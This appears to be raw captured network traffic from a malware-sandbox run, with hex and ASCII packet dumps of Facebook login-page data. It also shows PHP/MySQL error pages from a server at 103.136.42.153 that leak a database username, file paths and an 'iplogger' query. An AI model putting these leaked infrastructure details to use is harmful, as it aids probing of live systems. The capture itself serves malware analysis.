2022-10-08 09:35:10 UTC	435	IN	Data Raw: 72 65 72 22 3a 7b 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 78 2d 73 72 63 22 3a 7b 22 74 22 3a 31 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 7d 2c 32 31 30 34 5d 2c 5b 22 43 75 72 72 65 6e 74 43 6f 6d 6d 75 6e 69 74 79 49 6e 69 74 69 61 6c 44 61 74 61 22 2c 5b 5d 2c 7b 7d 2c 34 39 30 5d 2c 5b 22 43 75 72 72 65 6e 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 22 2c 5b 5d 2c 7b 22 66 61 63 65 62 6f 6f 6b 64 6f 74 63 6f 6d 22 3a 74 72 75 65 2c 22 6d 65 73 73 65 6e 67 65 72 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 2c 22 77 6f 72 6b 70 6c 61 63 65 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 2c 22 69 6e 73 74 61 67 72 61 6d 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 7d 2c 38 32 37 5d 2c 5b 22 43 75 72 72 65 6e 74 55 73 65 72 49 6e 69 74 69 61 6c 44 61 74 61 22 2c 5b 5d 2c 7b 22 41 43 43 4f Data Ascii: rer":{"s":"None"},"x-src":{"t":1,"s":"None"}},2104],["CurrentCommunityInitialData",[],{},490],["CurrentEnvironment",[],{"facebookdotcom":true,"messengerdotcom":false,"workplacedotcom":false,"instagramdotcom":false},827],["CurrentUserInitialData",[],{"ACCO
2022-10-08 09:35:10 UTC	436	IN	Data Raw: 67 65 6e 74 44 61 74 61 22 2c 5b 5d 2c 7b 22 62 72 6f 77 73 65 72 41 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 36 34 22 2c 22 62 72 6f 77 73 65 72 46 75 6c 6c 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 62 72 6f 77 73 65 72 4d 69 6e 6f 72 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 62 72 6f 77 73 65 72 4e 61 6d 65 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 62 72 6f 77 73 65 72 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 64 65 76 69 63 65 4e 61 6d 65 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 65 6e 67 69 6e 65 4e 61 6d 65 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 65 6e 67 69 6e 65 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 70 6c 61 74 66 6f 72 6d 41 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 36 34 22 2c 22 70 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 Data Ascii: gentData",[],{"browserArchitecture":"64","browserFullVersion":null,"browserMinorVersion":null,"browserName":"Unknown","browserVersion":null,"deviceName":"Unknown","engineName":"Unknown","engineVersion":null,"platformArchitecture":"64","platformName":"Wind
2022-10-08 09:35:10 UTC	438	IN	Data Raw: 4c 4f 47 47 45 52 22 2c 22 57 4f 52 4b 50 4c 41 43 45 5f 50 4c 41 54 46 4f 52 4d 5f 53 45 43 55 52 45 5f 41 50 50 53 5f 4d 41 49 4c 42 4f 58 45 53 22 2c 22 50 4f 43 4b 45 54 5f 4d 4f 4e 53 54 45 52 53 5f 55 50 44 41 54 45 5f 4e 41 4d 45 22 2c 22 49 43 5f 44 49 53 41 42 4c 45 5f 4d 45 52 47 45 5f 54 4f 4f 4c 5f 46 45 45 44 5f 43 48 45 43 4b 5f 46 4f 52 5f 52 45 50 4c 41 43 45 5f 53 43 48 45 44 55 4c 45 22 2c 22 41 44 53 5f 45 50 44 5f 49 4d 50 41 43 54 45 44 5f 41 44 56 45 52 54 49 53 45 52 5f 4d 49 47 52 41 54 45 5f 58 43 4f 4e 54 52 4f 4c 4c 45 52 22 2c 22 52 45 43 52 55 49 54 49 4e 47 5f 43 41 4e 44 49 44 41 54 45 5f 50 4f 52 54 41 4c 5f 41 43 43 4f 55 4e 54 5f 44 45 4c 45 54 49 4f 4e 5f 43 41 52 44 22 2c 22 42 49 5a 5f 49 4e 42 4f 58 5f 50 4f 50 5f 55 Data Ascii: LOGGER","WORKPLACE_PLATFORM_SECURE_APPS_MAILBOXES","POCKET_MONSTERS_UPDATE_NAME","IC_DISABLE_MERGE_TOOL_FEED_CHECK_FOR_REPLACE_SCHEDULE","ADS_EPD_IMPACTED_ADVERTISER_MIGRATE_XCONTROLLER","RECRUITING_CANDIDATE_PORTAL_ACCOUNT_DELETION_CARD","BIZ_INBOX_POP_U
2022-10-08 09:35:10 UTC	439	IN	Data Raw: 22 2c 22 6c 65 61 72 6e 2e 70 61 6e 74 68 65 6f 6e 2e 69 6f 22 2c 22 77 77 77 2e 6c 61 6e 64 6d 61 72 6b 73 68 6f 70 73 2e 69 6e 22 2c 22 77 77 77 2e 6e 63 6c 2e 63 6f 6d 22 2c 22 73 30 2e 77 70 2e 63 6f 6d 22 2c 22 77 77 77 2e 74 61 74 61 63 6c 69 71 2e 63 6f 6d 22 2c 22 62 73 2e 73 65 72 76 69 6e 67 2d 73 79 73 2e 63 6f 6d 22 2c 22 6b 6f 68 6c 73 2e 63 6f 6d 22 2c 22 6c 61 7a 61 64 61 2e 63 6f 2e 74 68 22 2c 22 78 67 34 6b 65 6e 2e 63 6f 6d 22 2c 22 74 65 63 68 6e 6f 70 61 72 6b 2e 72 75 22 2c 22 6f 66 66 69 63 65 64 65 70 6f 74 2e 63 6f 6d 2e 6d 78 22 2c 22 62 65 73 74 62 75 79 2e 63 6f 6d 2e 6d 78 22 2c 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 2c 22 6e 69 62 69 6f 2e 6e 6f 22 5d 7d 2c 33 38 37 31 5d 2c 5b 22 49 6e 69 74 69 61 6c 43 6f 6f 6b 69 65 43 6f Data Ascii: ","learn.pantheon.io","www.landmarkshops.in","www.ncl.com","s0.wp.com","www.tatacliq.com","bs.serving-sys.com","kohls.com","lazada.co.th","xg4ken.com","technopark.ru","officedepot.com.mx","bestbuy.com.mx","booking.com","nibio.no"]},3871],["InitialCookieCo
2022-10-08 09:35:10 UTC	441	IN	Data Raw: 31 28 2e 2a 29 28 27 7c 26 23 30 33 39 3b 29 73 5c 75 30 30 30 31 28 3f 3a 27 7c 26 23 30 33 39 3b 29 73 28 2e 2a 29 5c 2f 22 3a 22 5c 75 30 30 30 31 24 31 24 32 73 5c 75 30 30 30 31 24 33 22 2c 22 5c 2f 5f 5c 75 30 30 30 31 28 5b 5e 5c 75 30 30 30 31 5d 2a 29 5c 75 30 30 30 31 5c 2f 22 3a 22 6a 61 76 61 73 63 72 69 70 74 22 7d 7d 2c 31 34 39 36 5d 2c 5b 22 49 6e 74 6c 56 69 65 77 65 72 43 6f 6e 74 65 78 74 22 2c 5b 5d 2c 7b 22 47 45 4e 44 45 52 22 3a 33 2c 22 72 65 67 69 6f 6e 61 6c 4c 6f 63 61 6c 65 22 3a 6e 75 6c 6c 7d 2c 37 37 32 5d 2c 5b 22 4e 75 6d 62 65 72 46 6f 72 6d 61 74 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 64 65 63 69 6d 61 6c 53 65 70 61 72 61 74 6f 72 22 3a 22 2e 22 2c 22 6e 75 6d 62 65 72 44 65 6c 69 6d 69 74 65 72 22 3a 22 2c 22 2c 22 6d Data Ascii: 1(.)('\|')s\u0001(?:'\|')s(.)\/":"\u0001$1$2s\u0001$3","\/_\u0001([^\u0001]*)\u0001\/":"javascript"}},1496],["IntlViewerContext",[],{"GENDER":3,"regionalLocale":null},772],["NumberFormatConfig",[],{"decimalSeparator":".","numberDelimiter":",","m
2022-10-08 09:35:10 UTC	442	IN	Data Raw: 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 62 61 6c 61 6e 63 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 62 61 6c 61 6e 63 65 5c 2f 63 61 72 72 69 65 72 5f 6c 61 6e 64 69 6e 67 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 66 6c 65 78 5c 2f 6c 6f 67 67 69 6e 67 5c 2f 22 3a 31 2c 22 5c 2f 74 72 22 3a 31 2c 22 5c 2f 74 72 5c 2f 22 3a 31 2c 22 5c 2f 73 65 6d 5f 63 61 6d 70 61 69 67 6e 73 5c 2f 73 65 6d 5f 0d 0a Data Ascii: 1,"\/zero\/balance\/":1,"\/zero\/balance\/carrier_landing\/":1,"\/zero\/flex\/logging\/":1,"\/tr":1,"\/tr\/":1,"\/sem_campaigns\/sem_
2022-10-08 09:35:10 UTC	442	IN	Data Raw: 64 33 61 61 0d 0a 70 69 78 65 6c 5f 74 65 73 74 5c 2f 22 3a 31 2c 22 5c 2f 62 6f 6f 6b 6d 61 72 6b 73 5c 2f 66 6c 79 6f 75 74 5c 2f 62 6f 64 79 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 73 75 62 6e 6f 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 66 69 72 6d 65 6d 61 69 6c 2e 70 68 70 22 3a 31 2c 22 5c 2f 70 6f 6c 69 63 69 65 73 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 69 6e 74 65 72 6e 65 74 64 6f 74 6f 72 67 5c 2f 63 6c 61 73 73 69 66 69 65 72 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 64 6f 67 66 6f 6f 64 69 6e 67 22 3a 31 2c 22 5c 2f 78 74 69 2e 70 68 70 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 66 62 6c 69 74 65 5c 2f 63 6f 6e 66 69 67 5c 2f 22 3a 31 2c 22 5c 2f 68 72 5c 2f 7a 73 68 5c 2f 77 63 5c 2f 22 3a 31 2c 22 5c 2f 61 6a 61 78 5c 2f 62 6f 6f Data Ascii: d3aapixel_test\/":1,"\/bookmarks\/flyout\/body\/":1,"\/zero\/subno\/":1,"\/confirmemail.php":1,"\/policies\/":1,"\/mobile\/internetdotorg\/classifier\/":1,"\/zero\/dogfooding":1,"\/xti.php":1,"\/zero\/fblite\/config\/":1,"\/hr\/zsh\/wc\/":1,"\/ajax\/boo
2022-10-08 09:35:10 UTC	444	IN	Data Raw: 70 5c 2f 63 6f 6e 66 69 72 6d 65 6d 61 69 6c 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 63 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 6c 6f 67 69 6e 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 64 61 74 61 70 6f 6c 69 63 79 22 3a 31 2c 22 5c 2f 61 5c 2f 74 69 6d 65 7a 6f 6e 65 2e 70 68 70 22 3a 31 2c 22 5c 2f 61 5c 2f 62 7a 22 3a 31 2c 22 5c 2f 62 7a 5c 2f 72 65 6c 69 61 62 69 6c 69 74 79 22 3a 31 2c 22 5c 2f 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 6d 72 5c 2f 22 3a 31 2c 22 5c 2f 72 65 67 5c 2f 22 3a 31 2c 22 5c 2f 72 65 67 69 73 74 72 61 74 69 6f 6e 5c 2f 6c 6f 67 5c 2f 22 3a 31 2c 22 5c 2f 74 65 72 6d 73 5c 2f 22 3a 31 2c 22 5c 2f 66 31 32 33 5c 2f 22 3a 31 2c 22 5c 2f 65 78 70 65 72 74 Data Ascii: p\/confirmemail.php":1,"\/wap\/cr.php":1,"\/wap\/login.php":1,"\/wap\/r.php":1,"\/zero\/datapolicy":1,"\/a\/timezone.php":1,"\/a\/bz":1,"\/bz\/reliability":1,"\/r.php":1,"\/mr\/":1,"\/reg\/":1,"\/registration\/log\/":1,"\/terms\/":1,"\/f123\/":1,"\/expert
2022-10-08 09:35:10 UTC	445	IN	Data Raw: 5f 62 72 5f 69 6e 69 74 5f 72 63 22 3a 66 61 6c 73 65 2c 22 71 75 65 75 65 5f 61 63 74 69 76 61 74 69 6f 6e 5f 65 78 70 65 72 69 6d 65 6e 74 22 3a 74 72 75 65 2c 22 6d 61 78 5f 64 65 6c 61 79 5f 62 72 5f 71 75 65 75 65 22 3a 36 30 30 30 30 2c 22 6d 61 78 5f 64 65 6c 61 79 5f 62 72 5f 71 75 65 75 65 5f 69 6d 6d 65 64 69 61 74 65 22 3a 33 7d 2c 35 32 33 37 5d 2c 5b 22 63 72 3a 36 39 36 37 30 33 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 22 41 61 30 48 6a 53 45 76 45 62 52 45 6c 55 68 42 44 6c 38 53 32 6d 46 78 30 7a 7a 58 44 59 43 6f 33 41 4d 66 65 63 51 78 6f 59 70 6a 46 41 2d 32 42 72 46 6d 70 58 42 61 43 6f 6f 48 31 45 4f 65 61 4b 77 58 50 6f 65 69 4f 79 32 38 76 43 75 4d 62 62 70 52 4d 45 7a 70 41 64 4d 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 Data Ascii: _br_init_rc":false,"queue_activation_experiment":true,"max_delay_br_queue":60000,"max_delay_br_queue_immediate":3},5237],["cr:696703",[],{"__rc":[null,"Aa0HjSEvEbRElUhBDl8S2mFx0zzXDYCo3AMfecQxoYpjFA-2BrFmpXBaCooH1EOeaKwXPoeiOy28vCuMbbpRMEzpAdM"]},-1],["cr
2022-10-08 09:35:10 UTC	447	IN	Data Raw: 65 73 75 6c 74 49 6d 70 6c 22 2c 22 41 61 30 48 6a 53 45 76 45 62 52 45 6c 55 68 42 44 6c 38 53 32 6d 46 78 30 7a 7a 58 44 59 43 6f 33 41 4d 66 65 63 51 78 6f 59 70 6a 46 41 2d 32 42 72 46 6d 70 58 42 61 43 6f 6f 48 31 45 4f 65 61 4b 77 58 50 6f 65 69 4f 79 32 38 76 43 75 4d 62 62 70 52 4d 45 7a 70 41 64 4d 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 32 35 31 30 30 22 2c 5b 22 52 75 6e 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 52 75 6e 42 6c 75 65 22 2c 22 41 61 30 48 6a 53 45 76 45 62 52 45 6c 55 68 42 44 6c 38 53 32 6d 46 78 30 7a 7a 58 44 59 43 6f 33 41 4d 66 65 63 51 78 6f 59 70 6a 46 41 2d 32 42 72 46 6d 70 58 42 61 43 6f 6f 48 31 45 4f 65 61 4b 77 58 50 6f 65 69 4f 79 32 38 76 43 75 4d 62 62 70 52 4d 45 7a 70 41 64 4d 22 5d 7d 2c 2d 31 5d 2c Data Ascii: esultImpl","Aa0HjSEvEbRElUhBDl8S2mFx0zzXDYCo3AMfecQxoYpjFA-2BrFmpXBaCooH1EOeaKwXPoeiOy28vCuMbbpRMEzpAdM"]},-1],["cr:925100",["RunBlue"],{"__rc":["RunBlue","Aa0HjSEvEbRElUhBDl8S2mFx0zzXDYCo3AMfecQxoYpjFA-2BrFmpXBaCooH1EOeaKwXPoeiOy28vCuMbbpRMEzpAdM"]},-1],
2022-10-08 09:35:10 UTC	448	IN	Data Raw: 5b 22 63 72 3a 36 38 36 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 22 41 61 30 6c 32 55 6b 4c 4b 58 44 49 63 6b 79 6d 58 50 36 6e 70 7a 54 78 6a 53 79 4a 74 32 4b 6b 33 51 72 4e 31 50 32 46 6c 52 53 32 6f 5f 4e 4d 30 4b 35 65 33 77 43 78 45 52 63 76 5f 6d 6f 6d 6f 7a 68 37 57 6c 78 5a 46 42 47 63 64 43 48 76 73 51 6d 5a 62 39 74 73 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 39 38 34 30 38 31 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 22 41 61 31 4f 5f 59 42 53 51 59 69 46 68 47 72 51 64 4d 6d 52 4e 62 66 4d 33 38 35 35 62 51 4c 61 61 4f 47 51 30 56 55 41 46 63 50 5f 36 63 39 5f 70 39 34 36 48 6f 69 5a 69 79 67 58 59 58 45 2d 41 5f 43 62 69 33 71 74 30 41 6f 62 37 6f 6b 2d 78 50 69 77 50 33 66 6d 5f 48 52 79 22 5d 7d 2c 2d 31 5d Data Ascii: ["cr:686",[],{"__rc":[null,"Aa0l2UkLKXDIckymXP6npzTxjSyJt2Kk3QrN1P2FlRS2o_NM0K5e3wCxERcv_momozh7WlxZFBGcdCHvsQmZb9ts"]},-1],["cr:1984081",[],{"__rc":[null,"Aa1O_YBSQYiFhGrQdMmRNbfM3855bQLaaOGQ0VUAFcP_6c9_p946HoiZiygXYXE-A_Cbi3qt0Aob7ok-xPiwP3fm_HRy"]},-1]
2022-10-08 09:35:10 UTC	450	IN	Data Raw: 2f 22 20 69 64 3d 22 75 5f 30 5f 30 5f 77 44 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 77 68 69 74 65 22 3e 4a 6f 69 6e 20 6f 72 20 4c 6f 67 20 49 6e 74 6f 20 46 61 63 65 62 6f 6f 6b 20 e2 80 89 20 3c 69 20 63 6c 61 73 73 3d 22 5f 33 6a 69 69 20 69 6d 67 20 73 70 5f 6f 74 31 74 35 59 6a 59 4c 33 73 20 73 78 5f 62 65 35 35 61 34 22 20 69 64 3d 22 75 5f 30 5f 31 5f 2b 50 22 3e 3c 2f 69 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 79 6c 37 20 5f 79 6c 62 20 5f 5f 74 77 20 68 69 64 64 65 6e 5f 65 6c 65 6d 22 20 69 64 3d 22 75 5f 30 5f 32 5f 65 6a 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 65 65 70 65 72 4e 75 62 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 79 6c 38 22 3e 3c 64 69 76 20 Data Ascii: /" id="u_0_0_wD"><span style="color: white">Join or Log Into Facebook <i class="_3jii img sp_ot1t5YjYL3s sx_be55a4" id="u_0_1_+P"></i></span></a><div class="_yl7 _ylb __tw hidden_elem" id="u_0_2_ej"><div class="beeperNub"></div><div class="_yl8"><div
2022-10-08 09:35:10 UTC	451	IN	Data Raw: 50 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 6c 67 6e 6a 73 22 20 6e 61 6d 65 3d 22 6c 67 6e 6a 73 22 20 76 61 6c 75 65 3d 22 6e 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 6e 61 6d 65 3d 22 61 62 5f 74 65 73 74 5f 64 61 74 61 22 20 76 61 6c 75 65 3d 22 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 6c 6f 63 61 6c 65 22 20 6e 61 6d 65 3d 22 6c 6f 63 61 6c 65 22 20 76 61 6c 75 65 3d 22 65 6e 5f 55 53 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 Data Ascii: P" /><input type="hidden" id="lgnjs" name="lgnjs" value="n" /><input type="hidden" autocomplete="off" name="ab_test_data" value="" /><input type="hidden" autocomplete="off" id="locale" name="locale" value="en_US" /><input type="hidden" autocomplete="off"
2022-10-08 09:35:10 UTC	453	IN	Data Raw: 3c 69 20 63 6c 61 73 73 3d 22 6d 76 6c 20 69 6d 67 20 73 70 5f 6f 74 31 74 35 59 6a 59 4c 33 73 20 73 78 5f 37 37 38 38 63 30 22 3e 3c 2f 69 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 62 6c 20 70 76 6c 20 5f 34 2d 64 72 20 66 73 6d 20 66 77 6e 20 66 63 67 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 3e 3c 61 20 68 72 65 66 3d 22 23 22 20 6f 6e 63 6c 69 63 6b 3d 22 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 29 3b 22 20 64 61 74 61 2d 67 74 3d 22 26 23 31 32 33 3b 26 71 75 6f 74 3b 74 61 72 67 65 74 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 62 61 63 6b 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6d 61 72 6b 65 74 69 6e 67 5f 70 61 67 65 5f 63 6c 69 63 6b 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 63 6f 6e 76 65 72 73 69 Data Ascii: <i class="mvl img sp_ot1t5YjYL3s sx_7788c0"></i><div class="mbl pvl _4-dr fsm fwn fcg" role="navigation"><a href="#" onclick="history.back();" data-gt="{"target":"back","marketing_page_click":"1","conversi
2022-10-08 09:35:10 UTC	454	IN	Data Raw: 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 Data Ascii: ():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3
2022-10-08 09:35:10 UTC	456	IN	Data Raw: 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 Data Ascii: u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520Access\u002520d
2022-10-08 09:35:10 UTC	457	IN	Data Raw: 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 Data Ascii: A\u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523ff0000\u002522\u00253E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253
2022-10-08 09:35:10 UTC	459	IN	Data Raw: 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 Data Ascii: d:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C
2022-10-08 09:35:10 UTC	460	IN	Data Raw: 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f Data Ascii: 0253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/
2022-10-08 09:35:10 UTC	461	IN	Data Raw: 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 